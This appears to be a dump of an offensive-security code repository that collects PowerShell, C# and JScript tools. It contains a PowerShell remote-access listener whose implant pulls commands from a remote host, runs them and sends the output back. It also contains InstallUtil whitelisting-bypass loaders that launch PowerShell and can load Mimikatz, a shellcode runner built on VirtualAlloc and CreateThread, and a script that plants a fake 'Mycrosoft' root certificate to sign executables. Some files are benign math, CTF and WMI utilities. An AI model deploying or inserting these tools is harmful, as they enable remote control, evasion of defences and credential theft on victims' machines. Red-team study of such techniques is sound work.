'Listening ...' 24 | while ($true) { 25 | $context = $listener.GetContext() # blocks until request is received 26 | $request = $context.Request 27 | $response = $context.Response 28 | $hostip = $request.RemoteEndPoint 29 | #Use this for One-Liner Start 30 | if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { 31 | write-host "Host Connected" -fore Cyan 32 | $message = ' 33 | $s = "http://192.168.1.1/rat" 34 | $w = New-Object Net.WebClient 35 | while($true) 36 | { 37 | $r = $w.DownloadString("$s") 38 | while($r) { 39 | $o = invoke-expression $r | out-string 40 | $w.UploadString("$s", $o) 41 | break 42 | } 43 | } 44 | ' 45 | 46 | } 47 | 48 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 49 | Receive-Request($request) 50 | } 51 | if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { 52 | $response.ContentType = 'text/plain' 53 | $message = Read-Host "PS $hostip>" 54 | } 55 | if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) { 56 | $enc = [system.Text.Encoding]::UTF8 57 | $response.ContentType = 'application/hta' 58 | $htacode = ' 59 | 60 | 64 | 65 | 66 | 69 | 70 | 71 | 72 | 73 | ' 74 | 75 | $buffer = $enc.GetBytes($htacode) 76 | $response.ContentLength64 = $buffer.length 77 | $output = $response.OutputStream 78 | $output.Write($buffer, 0, $buffer.length) 79 | $output.Close() 80 | continue 81 | } 82 | 83 | 84 | [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) 85 | $response.ContentLength64 = $buffer.length 86 | $output = $response.OutputStream 87 | $output.Write($buffer, 0, $buffer.length) 88 | $output.Close() 89 | } 90 | 91 | $listener.Stop() -------------------------------------------------------------------------------- /wmi_provider_association.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Author: Matthew Graeber (@mattifestation) 3 | License: BSD 3-Clause 4 | #> 5 | 6 | function Get-WmiNamespace { 7 | [OutputType([String])] 8 | Param ( 9 | [String] 10 | [ValidateNotNullOrEmpty()] 11 | $Namespace = 'ROOT', 12 | 13 | [Switch] 14 | $Recurse 15 | ) 16 | 17 | $BoundParamsCopy = $PSBoundParameters 18 | $null = $BoundParamsCopy.Remove('Namespace') 19 | 20 | # Exclude locale specific namespaces 21 | Get-WmiObject -Class __NAMESPACE -Namespace $Namespace -Filter 'NOT Name LIKE "ms_4%"' | ForEach-Object { 22 | $FullyQualifiedNamespace = '{0}\{1}' -f $_.__NAMESPACE, $_.Name 23 | $FullyQualifiedNamespace 24 | 25 | if ($Recurse) { 26 | Get-WmiNamespace -Namespace $FullyQualifiedNamespace @BoundParamsCopy 27 | } 28 | } 29 | } 30 | 31 | function Get-WmiProviderAssociation { 32 | $UnhostedClasses = New-Object 'Collections.ObjectModel.Collection`1[System.Management.ManagementClass]' 33 | 34 | Get-WmiNamespace -Recurse | ForEach-Object { 35 | $Namespace = $_ 36 | 37 | $ClassProviderMapping = @{} 38 | 39 | Get-WmiObject -Namespace $Namespace -List | % { 40 | if ($_.Qualifiers['Provider']) { 41 | $HostingProvider = $_.Qualifiers['Provider'].Value.ToLower() 42 | 43 | if (-not $ClassProviderMapping.ContainsKey($HostingProvider)) { 44 | $ClassProviderMapping[$HostingProvider] = New-Object 'Collections.ObjectModel.Collection`1[System.Management.ManagementClass]' 45 | } 46 | 47 | $ClassProviderMapping[$HostingProvider].Add($_) 48 | } else { 49 | $UnhostedClasses.Add($_) 50 | } 51 | } 52 | 53 | Get-WmiObject -Namespace $_ -Class __Win32Provider | ForEach-Object { 54 | $ProviderCLSID = $_.CLSID 55 | $ClientCLSID = $_.ClientLoadableCLSID 56 | 57 | $ProviderImage = (Invoke-WmiMethod -Namespace root/default -Class StdRegProv -Name GetStringValue -ArgumentList @([UInt32] 2147483648, "CLSID\$ProviderCLSID\InprocServer32", $null)).sValue 58 | $ClientImage = (Invoke-WmiMethod -Namespace root/default -Class StdRegProv -Name GetStringValue -ArgumentList @([UInt32] 2147483648, "CLSID\$ClientCLSID\InprocServer32", $null)).sValue 59 | 60 | $HostedClasses = $null 61 | 62 | if ($ClassProviderMapping.ContainsKey($_.Name.ToLower())) { 63 | $HostedClasses = $ClassProviderMapping[$_.Name.ToLower()] 64 | } 65 | 66 | $Properties = [Ordered] @{ 67 | Namespace = $Namespace 68 | ProviderName = $_.Name 69 | HostingModel = $_.HostingModel 70 | ProviderImage = $ProviderImage 71 | ClientImage = $ClientImage 72 | HostedClasses = $HostedClasses 73 | } 74 | 75 | New-Object -TypeName PSObject -Property $Properties 76 | } 77 | } 78 | 79 | # Add a catch-all entry for all classes for which there is no provider 80 | if ($UnhostedClasses.Count -gt 0) { 81 | # Create a "null" provider object 82 | $Properties = [Ordered] @{ 83 | Namespace = $null 84 | ProviderName = $null 85 | HostingModel = $null 86 | ProviderImage = $null 87 | ClientImage = $null 88 | HostedClasses = $UnhostedClasses 89 | } 90 | 91 | New-Object -TypeName PSObject -Property $Properties 92 | } 93 | } -------------------------------------------------------------------------------- /tonelli-shanks.cs: -------------------------------------------------------------------------------- 1 | /* 2 | Tonelli-Shanks Algorithm in C# 3 | For a good overview of the importance of this algorithm. 4 | See: 5 | http://publications.csail.mit.edu/lcs/pubs/pdf/MIT-LCS-TR-212.pdf 6 | http://www.math.vt.edu/people/ezbrown/doc/sqrts.pdf 7 | https://www.amazon.com/Cryptanalytic-Attacks-RSA-Song-Yan/dp/1441943102 8 | example by Casey Smith 9 | @subTee 10 | */ 11 | 12 | using System; 13 | using System.Numerics; 14 | 15 | 16 | class ShanksTonelli 17 | { 18 | 19 | static BigInteger FindS(BigInteger p) 20 | { 21 | BigInteger s, e; 22 | s = p - 1; 23 | e = 0; 24 | while (s % 2 == 0) 25 | { 26 | s /= 2; 27 | e += 1; 28 | } 29 | 30 | return s; 31 | } 32 | 33 | static BigInteger findE(BigInteger p) 34 | { 35 | BigInteger s, e; 36 | s = p - 1; 37 | e = 0; 38 | while (s % 2 == 0) 39 | { 40 | s /= 2; 41 | e += 1; 42 | } 43 | 44 | return e; 45 | } 46 | 47 | 48 | static BigInteger Ord(BigInteger b, BigInteger p) 49 | { 50 | BigInteger m = 1; 51 | BigInteger e = 0; 52 | while (BigInteger.ModPow(b,m, p) != 1) 53 | { 54 | m *= 2; 55 | e++; 56 | } 57 | 58 | return e; 59 | } 60 | 61 | static BigInteger TwoExp(BigInteger e) 62 | { 63 | BigInteger a = 1; 64 | 65 | while (e < 0) 66 | { 67 | a *= 2; 68 | e--; 69 | } 70 | 71 | return a; 72 | } 73 | 74 | 75 | static BigInteger ShanksSqrt(BigInteger a, BigInteger p) 76 | { 77 | 78 | if (BigInteger.ModPow(a, (p - 1) / 2, p) == (p - 1)) 79 | { 80 | return -1; 81 | 82 | }//No Sqrt Exists 83 | 84 | if (p % 4 == 3) 85 | { 86 | return BigInteger.ModPow(a,(p + 1) / 4, p); 87 | } 88 | 89 | //Initialize 90 | BigInteger s, e; 91 | s = FindS(p); 92 | e = findE(p); 93 | 94 | BigInteger n, m, x, b, g, r; 95 | n = 2; 96 | while (BigInteger.ModPow(n, (p - 1) / 2, p) == 1) 97 | { 98 | n++; 99 | }//Finds Generator 100 | 101 | x = BigInteger.ModPow(a,(s + 1) / 2, p); 102 | b = BigInteger.ModPow(a, s, p); 103 | g = BigInteger.ModPow(a, s, p); 104 | r = e; 105 | m = Ord(b, p); 106 | if (m == 0) 107 | { 108 | return x; 109 | } 110 | 111 | //For Debugging 112 | //Console.WriteLine("{0}, {1}, {2}, {3}, {4}",m, x, b, g, r); 113 | while (m < 0) 114 | { 115 | 116 | x = (x * BigInteger.ModPow(g, TwoExp(r - m - 1), p)) % p; 117 | b = (b * BigInteger.ModPow(g, TwoExp(r - m), p)) % p; 118 | g = BigInteger.ModPow(g, TwoExp(r - m), p); 119 | r = m; 120 | m = Ord(b, p); 121 | //For Debugging 122 | //Console.WriteLine("{0}, {1}, {2}, {3}, {4}", m, x, b, g, r); 123 | 124 | 125 | } 126 | 127 | return x; 128 | 129 | 130 | } 131 | 132 | static void Main(string[] args) 133 | { 134 | 135 | BigInteger p, a, b; 136 | p = BigInteger.Parse("2074722246773485207821695222107608587480996474721117292752992589912196684750549658310084416732550077"); //Large Prime 137 | 138 | a = 4; 139 | Console.WriteLine(ShanksSqrt(a, p)); 140 | Console.ReadLine(); 141 | 142 | 143 | } 144 | } -------------------------------------------------------------------------------- /pshell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Diagnostics; 4 | using System.Reflection; 5 | using System.Configuration.Install; 6 | using System.Runtime.InteropServices; 7 | 8 | //Add For PowerShell Invocation 9 | using System.Collections.ObjectModel; 10 | using System.Management.Automation; 11 | using System.Management.Automation.Runspaces; 12 | using System.Text; 13 | 14 | /* 15 | Author: Casey Smith, Twitter: @subTee 16 | 17 | License: BSD 3-Clause 18 | Step One: 19 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:pshell.dll pshell.cs 20 | OR 21 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files\Reference Assemblies\Microsoft\WindowsPowerShell\v1.0\System.Management.Automation.dll" /out:pshell.dll pshell.cs 22 | 23 | Step Two: 24 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U pshell.dll 25 | 26 | [Optional] Add Local Script Path 27 | /ScriptPath="C:\Tools\Invoke-Mimikatz.ps1" 28 | 29 | 30 | */ 31 | 32 | public class Program 33 | { 34 | public static void Main() 35 | { 36 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 37 | //Add any behaviour here to throw off sandbox execution/analysts :) 38 | 39 | } 40 | 41 | } 42 | 43 | [System.ComponentModel.RunInstaller(true)] 44 | public class Sample : System.Configuration.Install.Installer 45 | { 46 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 47 | public override void Uninstall(System.Collections.IDictionary savedState) 48 | { 49 | //Console.BackgroundColor = ConsoleColor.DarkBlue; 50 | //Console.ForegroundColor = ConsoleColor.White; 51 | if(Context.Parameters["ScriptPath"] != null) 52 | { 53 | string s = File.ReadAllText(Context.Parameters["ScriptPath"]); 54 | RunPSFile(s); 55 | } 56 | 57 | while(true) 58 | { 59 | 60 | Console.Write("PS >"); 61 | string x = Console.ReadLine(); 62 | try 63 | { 64 | Console.WriteLine(RunPSCommand(x)); 65 | } 66 | catch (Exception e) 67 | { 68 | Console.WriteLine(e.Message); 69 | } 70 | } 71 | 72 | } 73 | 74 | //Based on Jared Atkinson's And Justin Warner's Work 75 | public static string RunPSCommand(string cmd) 76 | { 77 | //Init stuff 78 | Runspace runspace = RunspaceFactory.CreateRunspace(); 79 | runspace.Open(); 80 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 81 | Pipeline pipeline = runspace.CreatePipeline(); 82 | 83 | //Add commands 84 | pipeline.Commands.AddScript(cmd); 85 | 86 | //Prep PS for string output and invoke 87 | pipeline.Commands.Add("Out-String"); 88 | Collection results = pipeline.Invoke(); 89 | runspace.Close(); 90 | 91 | //Convert records to strings 92 | StringBuilder stringBuilder = new StringBuilder(); 93 | foreach (PSObject obj in results) 94 | { 95 | stringBuilder.Append(obj); 96 | } 97 | return stringBuilder.ToString().Trim(); 98 | } 99 | 100 | public static void RunPSFile(string script) 101 | { 102 | PowerShell ps = PowerShell.Create(); 103 | ps.AddScript(script).Invoke(); 104 | } 105 | } -------------------------------------------------------------------------------- /CTF.ps1: -------------------------------------------------------------------------------- 1 | function invmod([System.Numerics.BigInteger] $a,[System.Numerics.BigInteger] $n){ 2 | 3 | $exp = $t = $nt = $r = $nr = New-Object System.Numerics.BigInteger 4 | $exp = [System.Numerics.BigInteger]1 5 | $t = [System.Numerics.BigInteger]0 6 | $nt = [System.Numerics.BigInteger]1 7 | $r = $n 8 | $nr = $a 9 | while ($nr -ne [System.Numerics.BigInteger]0) { 10 | $q = [System.Numerics.BigInteger]::Divide($r,$nr) 11 | $tmp = $nt 12 | $nt = [System.Numerics.BigInteger]::Subtract($t,[System.Numerics.BigInteger]::Multiply($q,$nt)) 13 | $t = $tmp 14 | $tmp = $nr 15 | $nr = [System.Numerics.BigInteger]::Subtract($r, [System.Numerics.BigInteger]::Multiply($q,$nr)) 16 | $r = $tmp 17 | } 18 | if ($r -gt 1) {return -1} 19 | if ($t -lt 0) {$t = [System.Numerics.BigInteger]::Add($t,$n)} 20 | return $t 21 | } 22 | 23 | $p = $q = $n = $phi = $e = $d = New-Object System.Numerics.BigInteger 24 | 25 | $r = [System.Numerics.BigInteger]::Parse("1267822572326555807122159576684530178338449545988069238646937967979") 26 | $phi = [System.Numerics.BigInteger]::Parse("1267822572326555807122159576684527925242400650520489423329838558984") 27 | #Public Key 28 | $e = [System.Numerics.BigInteger]::Parse("65537") 29 | 30 | #Private Key 31 | $d = invmod $e $phi 32 | Write-Host "N" 33 | Write-Host $r.ToString('x') -fore Cyan 34 | Write-Host "e" 35 | Write-Host $e.ToString('x') -fore Green 36 | Write-Host "d" 37 | Write-Host $d.ToString('x') -fore Yellow 38 | 39 | $test = [System.Numerics.BigInteger]::ModPow([System.Numerics.BigInteger]::Multiply($e, $d), [System.Numerics.BigInteger]::Parse("1"), $phi) 40 | Write-Host $test 41 | 42 | <# RSA Challenge: http://singularityctf.blogspot.ru/2014/03/backdoorctf-2014-writeup-crypto-100-eng.html 43 | Cipher Text in Hex: 0c08d1e922a612492045732b00a54640cb252e2e84f0758af387d60c 44 | Public Key 45 | -----BEGIN PUBLIC KEY----- 46 | MDcwDQYJKoZIhvcNAQEBBQADJgAwIwIcDAnn7Hjy+K2plTRIImR3KBsJnRg1cCtN 47 | 5QddawIDAQAB 48 | -----END PUBLIC KEY----- 49 | #TODO, write example of extracting Key. 50 | 51 | Factored here: https://www.alpertron.com.ar/ECM.HTM 52 | 53 | 1267822572326555807122159576684530178338449545988069238646937967979 (67 digits) = 54 | 1090660992520643446103273789680343 (34 digits) × 1162435056374824133712043309728653 (34 digits) 55 | Euler's totient: 1267822572326555807122159576684527925242400650520489423329838558984 (67 digits) 56 | 57 | #> 58 | 59 | 60 | $c = [System.Numerics.BigInteger]::Parse('0c08d1e922a612492045732b00a54640cb252e2e84f0758af387d60c', [System.Globalization.NumberStyles]::AllowHexSpecifier) 61 | Write-Host "Cipher Text" 62 | Write-Host $c.ToString('x') -Fore Red 63 | 64 | $d = [System.Numerics.BigInteger]::ModPow($c, $d, $r) 65 | Write-Host $d.ToString('x') -Fore Magenta 66 | Write-Host $d -Fore Magenta 67 | $thing = $d.ToByteArray() 68 | [Array]::Reverse($thing) 69 | $thing2 = [System.Text.Encoding]::ASCII.GetString($thing) 70 | $thing2 71 | 72 | $test = [System.Numerics.BigInteger]::ModPow($d, $e, $r) 73 | Write-Host $test.ToString('x') -Fore Magenta 74 | 75 | 76 | $someString = "random_prime_gen" 77 | $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider 78 | $utf8 = new-object -TypeName System.Text.UTF8Encoding 79 | $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($someString))) 80 | $hash 81 | 82 | 83 | 84 | 85 | #Factored Here:https://www.alpertron.com.ar/ECM.HTM 86 | 87 | #R = 15196548805163675574438244877329263428577430669415450686061847979005749203 88 | #PHI = 5196548805163675541314925560689330810874068930793358063959256541686016000 89 | 90 | 91 | #Message = 6394120318487837105297192000999263103028083158543266158077074961769623181 92 | 93 | #8623129973970856246767140274286271280108982937367039574052688746406820632 -------------------------------------------------------------------------------- /InstallUtil-PowerShell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Reflection; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | 7 | //Add For PowerShell Invocation 8 | using System.Collections.ObjectModel; 9 | using System.Management.Automation; 10 | using System.Management.Automation.Runspaces; 11 | using System.Text; 12 | 13 | /* 14 | Author: Casey Smith, Twitter: @subTee 15 | 16 | License: BSD 3-Clause 17 | Step One: 18 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:powershell.exe InstallUtil-PowerShell.cs 19 | Step Two: 20 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U powershell.exe 21 | 22 | Coming Soon... 23 | /ScriptPath="C:\Tools\Invoke-Mimikatz.ps1" 24 | 25 | 26 | 27 | */ 28 | 29 | public class Program 30 | { 31 | public static void Main() 32 | { 33 | Console.WriteLine("Hello From Main...I Don't Do Anything"); 34 | //Add any behaviour here to throw off sandbox execution/analysts :) 35 | 36 | } 37 | 38 | } 39 | 40 | [System.ComponentModel.RunInstaller(true)] 41 | public class Sample : System.Configuration.Install.Installer 42 | { 43 | //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. 44 | public override void Uninstall(System.Collections.IDictionary savedState) 45 | { 46 | 47 | while(true) 48 | { 49 | string x = Console.ReadLine(); 50 | Console.WriteLine(RunPSCommand(x)); 51 | 52 | } 53 | 54 | } 55 | //Based on Jared Atkinson's And Justin Warner's Work 56 | 57 | public static string RunPSCommand(string cmd) 58 | { 59 | //Init stuff 60 | Runspace runspace = RunspaceFactory.CreateRunspace(); 61 | runspace.Open(); 62 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 63 | Pipeline pipeline = runspace.CreatePipeline(); 64 | 65 | //Add commands 66 | pipeline.Commands.AddScript(cmd); 67 | 68 | //Prep PS for string output and invoke 69 | pipeline.Commands.Add("Out-String"); 70 | Collection results = pipeline.Invoke(); 71 | runspace.Close(); 72 | 73 | //Convert records to strings 74 | StringBuilder stringBuilder = new StringBuilder(); 75 | foreach (PSObject obj in results) 76 | { 77 | stringBuilder.Append(obj); 78 | } 79 | return stringBuilder.ToString().Trim(); 80 | } 81 | 82 | public static string RunPSFile(string cmd) 83 | { 84 | //Init stuff 85 | Runspace runspace = RunspaceFactory.CreateRunspace(); 86 | runspace.Open(); 87 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 88 | Pipeline pipeline = runspace.CreatePipeline(); 89 | 90 | //Add commands 91 | pipeline.Commands.AddScript(cmd); 92 | 93 | //Prep PS for string output and invoke 94 | pipeline.Commands.Add("Out-String"); 95 | Collection results = pipeline.Invoke(); 96 | runspace.Close(); 97 | 98 | //Convert records to strings 99 | StringBuilder stringBuilder = new StringBuilder(); 100 | foreach (PSObject obj in results) 101 | { 102 | stringBuilder.Append(obj); 103 | } 104 | return stringBuilder.ToString().Trim(); 105 | } 106 | } -------------------------------------------------------------------------------- /shellcode.js: -------------------------------------------------------------------------------- 1 | import System; 2 | import System.Runtime.InteropServices; 3 | import System.Reflection; 4 | import System.Reflection.Emit; 5 | import System.Runtime; 6 | import System.Text; 7 | 8 | //C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js 9 | //C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js 10 | 11 | function InvokeWin32(dllName:String, returnType:Type, 12 | methodName:String, parameterTypes:Type[], parameters:Object[]) 13 | { 14 | // Begin to build the dynamic assembly 15 | var domain = AppDomain.CurrentDomain; 16 | var name = new System.Reflection.AssemblyName('PInvokeAssembly'); 17 | var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run); 18 | var module = assembly.DefineDynamicModule('PInvokeModule'); 19 | var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit); 20 | 21 | // Define the actual P/Invoke method 22 | var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes); 23 | 24 | // Apply the P/Invoke constructor 25 | var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]); 26 | var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]); 27 | method.SetCustomAttribute(attr); 28 | 29 | // Create the temporary type, and invoke the method. 30 | var realType = type.CreateType(); 31 | return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters); 32 | } 33 | 34 | function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32) 35 | { 36 | var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")]; 37 | var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect]; 38 | 39 | return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters ); 40 | } 41 | 42 | function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32) 43 | { 44 | var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ]; 45 | var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ]; 46 | 47 | return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters ); 48 | } 49 | 50 | function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32) 51 | { 52 | var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")]; 53 | var parameters:Object[] = [handle, dwMiliseconds ]; 54 | 55 | return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters ); 56 | } 57 | 58 | function ShellCodeExec() 59 | { 60 | var MEM_COMMIT:uint = 0x1000; 61 | var PAGE_EXECUTE_READWRITE:uint = 0x40; 62 | 63 | var shellcodestr:String = '/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA='; 64 | var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr); 65 | var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE); 66 | 67 | 68 | Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length); 69 | var hThread:IntPtr = IntPtr.Zero; 70 | var threadId:UInt32 = 0; 71 | // prepare data 72 | var pinfo:IntPtr = IntPtr.Zero; 73 | // execute native code 74 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId); 75 | WaitForSingleObject(hThread, 0xFFFFFFFF); 76 | 77 | } 78 | 79 | ShellCodeExec(); -------------------------------------------------------------------------------- /signer.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA) 2 | { 3 | $CAsubject = $certSubject 4 | $dn = new-object -com 'X509Enrollment.CX500DistinguishedName' 5 | $dn.Encode( 'CN=' + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 6 | #Issuer Property for cleanup 7 | $issuer = 'Mycrosft' 8 | $issuerdn = new-object -com 'X509Enrollment.CX500DistinguishedName' 9 | $issuerdn.Encode('CN=' + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) 10 | # Create a new Private Key 11 | $key = new-object -com 'X509Enrollment.CX509PrivateKey' 12 | $key.ProviderName = 'Microsoft Enhanced RSA and AES Cryptographic Provider' #"Microsoft Enhanced Cryptographic Provider v1.0" 13 | # Set CAcert to 1 to be used for Signature 14 | if($isCA) 15 | { 16 | $key.KeySpec = 2 17 | } 18 | else 19 | { 20 | $key.KeySpec = 1 21 | } 22 | $key.Length = 1024 23 | $key.MachineContext = 1 24 | $key.Create() 25 | 26 | # Create Attributes 27 | $serverauthoid = new-object -com 'X509Enrollment.CObjectId' 28 | $serverauthoid.InitializeFromValue('1.3.6.1.5.5.7.3.3') 29 | $ekuoids = new-object -com 'X509Enrollment.CObjectIds.1' 30 | $ekuoids.add($serverauthoid) 31 | $ekuext = new-object -com 'X509Enrollment.CX509ExtensionEnhancedKeyUsage' 32 | $ekuext.InitializeEncode($ekuoids) 33 | 34 | $cert = new-object -com 'X509Enrollment.CX509CertificateRequestCertificate' 35 | $cert.InitializeFromPrivateKey(2, $key, "") 36 | $cert.Subject = $dn 37 | $cert.Issuer = $issuerdn 38 | $cert.NotBefore = (get-date).AddDays(-1) #Backup One day to Avoid Timing Issues 39 | $cert.NotAfter = $cert.NotBefore.AddDays(90) #Arbitrary... Change to persist longer... 40 | #Use Sha256 41 | $hashAlgorithmObject = New-Object -ComObject X509Enrollment.CObjectId 42 | $hashAlgorithmObject.InitializeFromAlgorithmName(1,0,0,"SHA256") 43 | $cert.HashAlgorithm = $hashAlgorithmObject 44 | #Good Reference Here http://www.css-security.com/blog/creating-a-self-signed-ssl-certificate-using-powershell/ 45 | 46 | $cert.X509Extensions.Add($ekuext) 47 | if ($isCA) 48 | { 49 | $basicConst = new-object -com 'X509Enrollment.CX509ExtensionBasicConstraints' 50 | $basicConst.InitializeEncode("true", 1) 51 | $cert.X509Extensions.Add($basicConst) 52 | } 53 | else 54 | { 55 | $signer = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "Mycrosoft" }) 56 | $signerCertificate = new-object -com 'X509Enrollment.CSignerCertificate' 57 | $signerCertificate.Initialize(1,0,4, $signer.Thumbprint) 58 | $cert.SignerCertificate = $signerCertificate 59 | } 60 | $cert.Encode() 61 | 62 | $enrollment = new-object -com 'X509Enrollment.CX509Enrollment' 63 | $enrollment.InitializeFromRequest($cert) 64 | $certdata = $enrollment.CreateRequest(0) 65 | $enrollment.InstallResponse(2, $certdata, 0, "") 66 | 67 | if($isCA) 68 | { 69 | 70 | # Need a Better way to do this... 71 | $CACertificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match 'Mycrosoft' }) 72 | # Install CA Root Certificate 73 | $StoreScope = 'LocalMachine' 74 | $StoreName = 'Root' 75 | $store = New-Object System.Security.Cryptography.X509Certificates.X509Store $StoreName, $StoreScope 76 | $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite) 77 | $store.Add($CACertificate) 78 | $store.Close() 79 | 80 | } 81 | else 82 | { 83 | return (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $CAsubject }) 84 | } 85 | 86 | } 87 | 88 | $SignerSubject = 'Fake Corporation Signer' 89 | #Create the Fake CA 90 | Invoke-CreateCertificate 'Mycrosoft' $true 91 | #Create the Self-Signed Certificate 92 | Invoke-CreateCertificate $SignerSubject $false 93 | 94 | $SignerCert = Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match 'Mycrosoft' } 95 | 96 | Set-AuthenticodeSignature -Certificate $SignerCert[0] -TimeStampServer 'http://timestamp.verisign.com/scripts/timstamp.dll' exeshell.exe -------------------------------------------------------------------------------- /CertTBSHash.ps1: -------------------------------------------------------------------------------- 1 | # Example: ls 'C:\Windows\System32\*' -Include '*.dll' | Get-AuthenticodeSignature | Select -ExpandProperty SignerCertificate | Get-TBSHash 2 | 3 | filter Get-TBSHash { 4 | [OutputType([String])] 5 | param ( 6 | [Parameter(Mandatory, ValueFromPipeline)] 7 | [Security.Cryptography.X509Certificates.X509Certificate2] 8 | $Certificate 9 | ) 10 | 11 | Add-Type -TypeDefinition @' 12 | using System; 13 | using System.Runtime.InteropServices; 14 | 15 | namespace Crypto { 16 | public struct CRYPT_DATA_BLOB 17 | { 18 | public uint cbData; 19 | public IntPtr pbData; 20 | } 21 | 22 | public struct CRYPT_OBJID_BLOB 23 | { 24 | public uint cbData; 25 | public IntPtr pbData; 26 | } 27 | 28 | public struct CRYPT_ALGORITHM_IDENTIFIER 29 | { 30 | public string pszObjId; 31 | public CRYPT_OBJID_BLOB Parameters; 32 | } 33 | 34 | public struct CRYPT_BIT_BLOB 35 | { 36 | public uint cbData; 37 | public IntPtr pbData; 38 | public uint cUnusedBits; 39 | } 40 | 41 | public struct CERT_SIGNED_CONTENT_INFO 42 | { 43 | public CRYPT_DATA_BLOB ToBeSigned; 44 | public CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm; 45 | public CRYPT_BIT_BLOB Signature; 46 | } 47 | 48 | public class NativeMethods { 49 | [DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] 50 | public static extern bool CryptDecodeObject(uint dwCertEncodingType, IntPtr lpszStructType, [In] byte[] pbEncoded, uint cbEncoded, uint dwFlags, [Out] IntPtr pvStructInto, ref uint pcbStructInfo); 51 | } 52 | } 53 | '@ 54 | 55 | 56 | $HashOIDs = @{ 57 | '1.2.840.113549.1.1.4' = 'MD5' 58 | '1.2.840.113549.1.1.5' = 